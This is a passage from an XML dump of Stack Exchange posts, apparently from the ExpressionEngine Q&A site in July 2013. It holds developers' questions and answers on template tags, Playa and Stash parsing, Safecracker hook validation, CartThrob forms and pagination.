LastActivityDate="2013-07-08T01:01:33.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11736" PostTypeId="2" ParentId="11734" CreationDate="2013-07-08T02:17:39.520" Score="0" Body="&lt;p&gt;You should try Zenbu module (&lt;a href=&quot;http://zenbustudio.com/software/zenbu&quot; rel=&quot;nofollow&quot;&gt;http://zenbustudio.com/software/zenbu&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-08T02:17:39.520" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11737" PostTypeId="2" ParentId="11724" CreationDate="2013-07-08T02:42:31.693" Score="0" Body="&lt;p&gt;I found out that there is no break functionality for Expression Engine as of now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest thing that can emulate it is using this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if count == &quot;1&quot;}&#xA;…output count here…&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It would still do the conditional for each iteration but you only execute the code inside once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to @Bhaskar Yadav for the link&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-07-08T02:42:31.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11738" PostTypeId="1" AcceptedAnswerId="11741" CreationDate="2013-07-08T02:46:08.273" Score="0" ViewCount="141" Body="&lt;p&gt;I have a hook handler for safecracker_submit_entry_start that gets some value from a form field and processes it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to validate the output of that process.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the output is good, then continue form submission&lt;/li&gt;&#xA;&lt;li&gt;If the output is not valid or bad, I want to cancel form submission and if possible, return some sort of error code or message&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is it possible for the hook handler of safecracker_submit_entry_start to cancel form submission?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-07-08T09:42:35.490" Title="Is it possible for the hook handler of safecracker_submit_entry_start to cancel form submission?" Tags="|safecracker|forms|hook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11740" PostTypeId="1" CreationDate="2013-07-08T06:32:47.467" Score="0" ViewCount="64" Body="&lt;p&gt;I have some channels on a site, with some of the channels making up the main navigation for the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each top level navigation item needs an image, a short description, and a different title than the channel name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Been looking for a plugin to add custom data to the channel itself, but I keep coming up short.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might be missing an obvious way to do this, or maybe I just can't find the right module.&lt;/p&gt;&#xA;" OwnerUserId="1004" LastActivityDate="2013-07-08T11:43:51.060" Title="Custom fields in channel information?" Tags="|channel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11741" PostTypeId="2" ParentId="11738" CreationDate="2013-07-08T06:47:43.507" Score="1" Body="&lt;p&gt;As you are checking the Safecracker form submitted data and would like to show error and cancel submission on incorrect data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code example which you have to write same like into the hooked function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function function_name($obj)&#xA;{&#xA;$custom_error = 'XYZ'; // need to check the data if that error exist &#xA;if($custom_error)&#xA;{&#xA;array_push($obj-&amp;gt;errors, $custom_error);&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now that error message will be shown also. If you are using error_handling=&quot;inline&quot; parameter then this error message will be shown within:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{global_errors}{error}{/global_errors}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the same way, you can output the custom error message for any field with following example code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function function_name($obj)&#xA;{&#xA;$custom_error = 'XYZ'; // need to check the data if that error exist &#xA;if($custom_error)&#xA;{&#xA;$obj-&amp;gt;field_errors['field_name'] = $custom_error;&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This error message can be outputted within safecracker for with the tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{error:my_field_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope, it would help you. &lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-07-08T09:42:35.490" LastActivityDate="2013-07-08T09:42:35.490" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11742" PostTypeId="1" AcceptedAnswerId="11821" CreationDate="2013-07-08T07:28:05.277" Score="0" ViewCount="205" Body="&lt;p&gt;Ok so I am using a Stash embed / view model approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom filed Playa with specific articles for a product.&#xA;I also have a Low Variable storing a playa of related articles for a category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using this in a Stash embed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my model I am trying to set the data so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&lt;code&gt;&#xA;&#xA;    {!-- RELATED ARTICLES --}&#xA;    {exp:stash:set_list name=&quot;related_articles&quot; debug=&quot;yes&quot; parse_tags=&quot;yes&quot;}&#xA;&#xA;        {cf_paper_specific_articles}   &#xA;            {stash:url_title}{url_title}{/stash:url_title}&#xA;            {stash:test_title}P {title}{/stash:test_title}&#xA;            {stash:abstract}{cf_article_short_abstract}{/stash:abstract}           &#xA;        {/cf_paper_specific_articles}&#xA;&#xA;        {exp:low_variables:pair var=&quot;lv_articles_inkjet_paper&quot; var_prefix=&quot;category_articles&quot;}&#xA;            {stash:url_title}{category_articles:url_title}{/stash:url_title}&#xA;            {stash:test_title}C {category_articles:title}{/stash:test_title}&#xA;            {stash:abstract}{category_articles:cf_article_short_abstract}{/stash:abstract} &#xA;        {/exp:low_variables:pair}&#xA;&#xA;    {/exp:stash:set_list}&#xA;&#xA;&lt;/code&gt;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The top part works ok and I get my product specific articles as expected.  But the bottom section, parsing the playa in the low variable, does not get parsed, resulting in output like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;P A Simple, Accurate Print Viewing System Using Grafilite Lights    Set up an inexpensive colour accurate print viewing area using Grafilite lights.&#xA;C {category_articles:title} {category_articles:cf_article_short_abstract}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before moving to Stash embeds, I had this working succesfully like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&lt;code&gt;&#xA;       &lt;h3&gt;Related Articles&lt;/h3&gt;    &#xA;        &#xA;            {cf_paper_specific_articles}&#xA;               {title}{cf_article_short_abstract}&#xA;            {/cf_paper_specific_articles}&#xA;&#xA;            {exp:low_variables:parse var=&quot;lv_articles_inkjet_paper&quot; var_prefix=&quot;category_articles&quot;}&#xA;                C- {category_articles:title}{category_articles:cf_article_short_abstract}&#xA;            {/exp:low_variables:parse}&#xA;&#xA;            {exp:playa:children field='cf_paper_brand' var_prefix=&quot;brand&quot; }                &#xA;                {exp:low_variables:parse var=&quot;lv_articles_{brand:url_title}&quot; var_prefix=&quot;brand_articles&quot;}&#xA;                     ##### B- {brand_articles:title}{brand_articles:cf_article_short_abstract}&#xA;                {/exp:low_variables:parse}&#xA;            {/exp:playa:children}&#xA;            &#xA;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(there's an extra bit there that works too...but I want to get the more basic case working first!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried various parse=&quot;inward&quot; type things...but no dice.  The nested nature of stash-&gt;low vars-&gt;playa is doing my head in and I am hoping smarter brains than me can see why this doesn't work!!&lt;/p&gt;&#xA;" OwnerUserId="1532" LastEditorUserId="1532" LastEditDate="2013-07-08T22:41:47.533" LastActivityDate="2013-07-10T09:55:25.843" Title="Playa in a Low Variable and Stash" Tags="|ee2|playa|stash|parse-order|low-variables|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11744" PostTypeId="2" ParentId="11459" CreationDate="2013-07-08T08:41:50.740" Score="2" Body="&lt;p&gt;You can set permissions with HooKan. The HooKan CP will display permission statuses as you set/unset them. The interface is ajax, so you see status as you make changes.&lt;/p&gt;&#xA;" OwnerUserId="114" LastActivityDate="2013-07-08T08:41:50.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11745" PostTypeId="2" ParentId="11712" CreationDate="2013-07-08T08:53:40.697" Score="1" Body="&lt;p&gt;Thanks for getting back to me. I'm sorry to have wasted your time. It was due to a rogue css style. Which has resolved the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again.&lt;/p&gt;&#xA;" OwnerUserId="1149" LastActivityDate="2013-07-08T08:53:40.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11746" PostTypeId="2" ParentId="11740" CreationDate="2013-07-08T09:25:22.910" Score="2" Body="&lt;p&gt;I could be wrong but i don't think there is such option in EE&#xA;The only thing you could do is go to Admin &gt; Channel Administration &gt; Channels &gt; Edit Preference &#xA;There you could change Full channel name and add a description but there isn't an option for image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps &lt;a href=&quot;http://gotolow.com/addons/low-variables&quot; rel=&quot;nofollow&quot;&gt;low variable&lt;/a&gt; could be a solution in order to create a navigation + sub-navigation with different images, description and title?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a list of how you could use Low Variables in different ways&#xA;&lt;a href=&quot;http://www.blue-dreamer.co.uk/blog/entry/creative-uses-for-low-variables&quot; rel=&quot;nofollow&quot;&gt;http://www.blue-dreamer.co.uk/blog/entry/creative-uses-for-low-variables&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="879" LastActivityDate="2013-07-08T09:25:22.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11747" PostTypeId="1" AcceptedAnswerId="11750" CreationDate="2013-07-08T09:26:42.713" Score="0" ViewCount="374" Body="&lt;p&gt;EE's native &lt;code&gt;Select Dropdown&lt;/code&gt; field has the option to &quot;Populate the menu from another channel field&quot;. I'm using Matrix and the &lt;code&gt;P&amp;amp;T Dropdown&lt;/code&gt; field. It doesn't have the option to &quot;Populate the menu from another channel field&quot;. I want to populate the list from another channel field. How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2016-04-08T20:53:25.630" Title="Matrix - how to &quot;Populate the menu from another channel field&quot;?" Tags="|matrix|custom-fields|fieldtype|fields|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11748" PostTypeId="2" ParentId="11640" CreationDate="2013-07-08T09:52:07.620" Score="1" Body="&lt;p&gt;I'm not even sure whether the ical format supports multiple venues, but I'm pretty sure the easy_icalendar plugin doesn't. It was only designed for our specific requirements (a long time ago), so feel free to bend it to your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create multiple dates, you would simply create multiple events using a loop inside the calendar tag, as per the example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:easy_ical:calendar timezone=&quot;Pacific/Auckland&quot; name=&quot;My Simple Event Calendar&quot;}&#xA;    {exp:channel:entries channel=&quot;events&quot; show_future_entries=&quot;yes&quot; show_expired=&quot;yes&quot; limit=&quot;20&quot;}&#xA;        {exp:easy_ical:event uid=&quot;{entry_id}&quot; start_time=&quot;{entry_date}&quot; end_time=&quot;{expiration_date}&quot; location=&quot;{event_location}&quot; summary=&quot;{title}&quot;}&#xA;            {event_description}&#xA;        {/exp:easy_ical:event}&#xA;    {/exp:channel:entries}&#xA;{/exp:easy_ical:calendar}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-07-08T09:52:07.620" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11749" PostTypeId="1" AcceptedAnswerId="11751" CreationDate="2013-07-08T10:17:24.233" Score="1" ViewCount="769" Body="&lt;p&gt;Im trying to send off the following channel entries request.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; search:crops=&quot;{segment_3}&quot;} &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The crops field is a Playa field. If i use &lt;code&gt;{crops}&lt;/code&gt; tag in my template, i get entry_id(s), rather than the &lt;code&gt;url_title&lt;/code&gt; or &lt;code&gt;title&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shouldn't &lt;code&gt;search:crops&lt;/code&gt; try to match both &lt;code&gt;entry_id&lt;/code&gt; and &lt;code&gt;url_title&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, is there a way of getting &lt;code&gt;{entry_id}&lt;/code&gt; from &lt;code&gt;{url_title}&lt;/code&gt; if I know it is equal to &lt;code&gt;{segment_3}&lt;/code&gt;, so that i call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; search:crops=&quot;{segment_3_entry_id}&quot;} &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there anything else I should be doing? Any help would be greatly appreciated!!&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="209" LastEditDate="2013-07-08T12:00:15.643" LastActivityDate="2013-07-08T12:00:15.643" Title="Searching channel entries using playa field" Tags="|channel-entries|playa|search|url-title|entryid|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11750" PostTypeId="2" ParentId="11747" CreationDate="2013-07-08T11:28:40.650" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/mx-select&quot; rel=&quot;nofollow&quot;&gt;MX Select Plus&lt;/a&gt; is a great fieldtype–you can choose either to populate the menu with plain text or write a SQL query. It's pretty slick!&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-07-08T11:28:40.650" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11751" PostTypeId="2" ParentId="11749" CreationDate="2013-07-08T11:35:14.193" Score="0" Body="&lt;p&gt;Haven't test it but I assume if you use url_title=&quot;{segment_3}&quot; it would be the same as entry_id and search this specific entry+&lt;/p&gt;&#xA;&#xA;&lt;p&gt;otherwise you are searching all entry's in your channel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/url_segments.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/templates/globals/url_segments.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="879" LastActivityDate="2013-07-08T11:35:14.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11752" PostTypeId="2" ParentId="11740" CreationDate="2013-07-08T11:43:51.060" Score="0" Body="&lt;p&gt;Create a channel with entries (maybe a matrix) that correspond to the channels...pull you nav from that?&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2013-07-08T11:43:51.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11753" PostTypeId="2" ParentId="11718" CreationDate="2013-07-08T12:24:24.090" Score="1" Body="&lt;p&gt;I've found a work-around. It appears that I need to use 'http://' in front of the pagination_url. The following version now works perfectly: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;{pagination_links}&#xA;&amp;lt;ul&amp;gt;&#xA;       {first_page}&#xA;       &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://{pagination_url}&quot; class=&quot;page-first&quot;&amp;gt;First Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;       {/first_page}&#xA;&#xA;       {previous_page}&#xA;       &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://{pagination_url}&quot; class=&quot;page-previous&quot;&amp;gt;Previous Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;       {/previous_page}&#xA;&#xA;       {page}&#xA;       &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://{pagination_url}&quot; class=&quot;page-{pagination_page_number} {if current_page}active{/if}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;       {/page}&#xA;&#xA;       {next_page}&#xA;       &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://{pagination_url}&quot; class=&quot;page-next&quot;&amp;gt;Next Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;       {/next_page}&#xA;&#xA;       {last_page}&#xA;       &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://{pagination_url}&quot; class=&quot;page-last&quot;&amp;gt;Last Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;       {/last_page}&#xA;&#xA;&amp;lt;/ul&amp;gt;&#xA;{/pagination_links}&#xA;&amp;lt;/div&amp;gt;&#xA;{/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1736" LastActivityDate="2013-07-08T12:24:24.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11754" PostTypeId="1" AcceptedAnswerId="11789" CreationDate="2013-07-08T13:21:13.967" Score="1" ViewCount="135" Body="&lt;p&gt;one called &quot;crops&quot; one is named &quot;products&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Crops linked to products, through a playa field for the products channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment my tag produces a list of crops but many are repeated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When populating a crops menu, I want to query those crops who are linked to a product. This way, crops for which we dont have products assigned aren't listed.  I want a unique entry for each crop that has 1 or more products associated to it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I left out last time...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2==&quot;crops&quot;}&#xA;&amp;lt;div class=&quot;box plants&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;Φυτά&amp;lt;/h2&amp;gt;&#xA;&amp;lt;select&amp;gt;&#xA;    &amp;lt;option {if segment_2==&quot;&quot;}selected=&quot;selected&quot;{/if} value=&quot;/index.php/products/&quot;&amp;gt;όλa&amp;lt;/option&amp;gt;&#xA;        {exp:channel:entries channel=&quot;products&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; dynamic=&quot;no&quot;}&#xA;            {exp:playa:children channel=&quot;crops&quot;}&#xA;                {if count&amp;gt;0}&#xA;                    &amp;lt;option {if segment_3==url_title}selected=&quot;selected&quot; {/if} value=&quot;/index.php/products/crops/{url_title}&quot;&amp;gt;{title}&amp;lt;/option&amp;gt;&#xA;                {/if}&#xA;            {/exp:playa:children}&#xA;        {/exp:channel:entries}&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The playa relationship is a field in products channel that links to entries (fieldname={crops})in the crops channel. Not sure whether this is revers relationship or not.&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditDate="2013-07-09T07:37:05.033" LastActivityDate="2013-07-09T09:12:59.963" Title="Using playa to get entries" Tags="|playa|relationships|entry|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11755" PostTypeId="1" CreationDate="2013-07-08T13:40:26.863" Score="1" ViewCount="118" Body="&lt;p&gt;I have a channel to create an event. I also have a CartThrob Price Modifier field to add tickets if they are available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the single entry page, I only wish to show the exp:cartthrob:multi_add_to_cart_form if the single entry has available tickets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the following code;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if event_tickets:total_results}&#xA;&amp;lt;div id=&quot;event_tickets&quot; class=&quot;box toptagorange buybox&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;Buy Tickets&amp;lt;/h2&amp;gt;&#xA;        {exp:cartthrob:multi_add_to_cart_form&#xA;            return=&quot;shop/basket&quot;&#xA;        }&#xA;        &amp;lt;fieldset&amp;gt;&#xA;            &amp;lt;table&amp;gt;&#xA;                &amp;lt;tbody&amp;gt;&#xA;                    &amp;lt;tr&amp;gt;&#xA;                        &amp;lt;th class=&quot;ticket&quot;&amp;gt;Ticket&amp;lt;/th&amp;gt;&#xA;                        &amp;lt;th&amp;gt;Qty&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;                    {event_tickets}&#xA;                    &amp;lt;tr&amp;gt;&#xA;                        &amp;lt;td&amp;gt;{option_name} &amp;lt;span class=&quot;price&quot;&amp;gt;{exp:cartthrob:view_formatted_number number=&quot;{price:plus_tax}&quot; prefix=&quot;£&quot; decimals=&quot;2&quot;}&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;quantity[{row_id}]&quot; value=&quot;&quot; class=&quot;tiny&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;input type=&quot;hidden&quot; name=&quot;item_options[{row_id}][event_tickets]&quot; value=&quot;{option_value}&quot; /&amp;gt;&#xA;                        &amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id[{row_id}]&quot; value=&quot;{entry_id}&quot; /&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;                    {/event_tickets}&#xA;                &amp;lt;/tbody&amp;gt;&#xA;            &amp;lt;/table&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;Buy Tickets&quot;&amp;gt;&#xA;    {/exp:cartthrob:multi_add_to_cart_form}&#xA;&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine for an event that has tickets. However, if an event doesn't have any tickets then the page just goes to a 404. I was wondering if someone might be able to help figure this out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Neil&lt;/p&gt;&#xA;" OwnerUserId="466" LastEditorUserId="150" LastEditDate="2013-07-19T11:44:08.863" LastActivityDate="2013-07-19T11:44:28.630" Title="CartThrob Price Modifier - Hide form if no options available" Tags="|cartthrob|ecommerce|redirects|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11756" PostTypeId="1" AcceptedAnswerId="11760" CreationDate="2013-07-08T14:47:54.080" Score="2" ViewCount="218" Body="&lt;p&gt;I have a list of related entries on a single entry page. I only want to show surrounding code if there are related entries. I know related entries has been changed recently so I'm stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would expect the following conditional to work but it doesn't.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if cf_article_related}&#xA;    &amp;lt;aside&amp;gt;&#xA;      &amp;lt;h2&amp;gt;Further Reading&amp;lt;/h2&amp;gt;&#xA;      &amp;lt;ul&amp;gt;&#xA;        {cf_article_related}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{cf_article_related:url_title}&quot;&amp;gt; {cf_article_related:title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/cf_article_related}&#xA;      &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/aside&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm sure it'll be something obvious but I would love to know how to do this!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Mike&lt;/p&gt;&#xA;" OwnerUserId="157" LastActivityDate="2013-07-08T15:14:14.463" Title="Only show if there are related entries (EE 2.6)" Tags="|conditionals|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11757" PostTypeId="2" ParentId="11734" CreationDate="2013-07-08T14:53:12.637" Score="0" Body="&lt;p&gt;Although it may get complicated with 20 member groups, the basic way in EE is to wrap your content (either portions, or the whole page) in conditionals in your templates like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if group_id == 7 OR group_id == 8}&#xA;    show content&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also use something to limit access to a whole page by redirecting if not in a group:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if group_id != 7 AND group_id != 8}&#xA;    {redirect=&quot;template_group/template&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To make things easier to manage, you might also make your most common 'access' conditionals snippets.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-07-08T14:53:12.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11758" PostTypeId="1" AcceptedAnswerId="11761" CreationDate="2013-07-08T14:56:06.387" Score="0" ViewCount="33" Body="&lt;p&gt;In the control panel under &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Admin &gt; General Configuration&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set the value of the field 'URL to the root directory of your site' to be the URL of my site with the leading http://&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg: &lt;a href=&quot;http://mysite.com&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use the tag in templates it just returns&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mysite.com (without the leading http://)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is causing issues throughout my templates - is this expected behaviour?&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2013-07-08T15:26:50.667" Title="{site_url} returns value without 'http://' string" Tags="|templates|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11759" PostTypeId="1" CreationDate="2013-07-08T14:59:52.427" Score="0" ViewCount="638" Body="&lt;p&gt;I need to move an EE install into a subdirectory. The site currently has the system folder above web root and uses focus lab's dynamic config setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My desired setup would this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--system&#xA;--config&#xA;--public_html&#xA;   |&#xA;   |-my_subdirectory&#xA;      |&#xA;      | -assets&#xA;      | -index.php&#xA;      | -admin.php&#xA;         etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However I could not get the index.php working as yet. Anyone having an idea what the correct value for the $system_path variable located in the index.php would be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many Thanks&lt;/p&gt;&#xA;" OwnerUserId="1336" LastActivityDate="2013-09-24T00:08:19.960" Title="$system_path for EE setup in subdirectory" Tags="|php|focus-lab-master-config|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11760" PostTypeId="2" ParentId="11756" CreationDate="2013-07-08T15:02:21.717" Score="5" Body="&lt;p&gt;The documentation is confusing on the EL site. If you prefix the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#single-variables&quot; rel=&quot;noreferrer&quot;&gt;single tags&lt;/a&gt; variables &lt;code&gt;count&lt;/code&gt; &amp;amp; &lt;code&gt;total_results&lt;/code&gt; with the custom field name, you will have access to control your markup with conditionals. This should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{cf_article_related}&#xA;    {if cf_article_related:count == 1}&#xA;        &amp;lt;aside&amp;gt;&#xA;        &amp;lt;h2&amp;gt;Further Reading&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;    {/if}&#xA;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{cf_article_related:url_title}&quot;&amp;gt; {cf_article_related:title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;    {if cf_article_related:count == cf_article_related:total_results}&#xA;        &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/aside&amp;gt;&#xA;    {/if}&#xA;&#xA;    {if cf_article_related:no_results}NOTHING FOUND{/if}&#xA;{/cf_article_related}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-07-08T15:14:14.463" LastActivityDate="2013-07-08T15:14:14.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
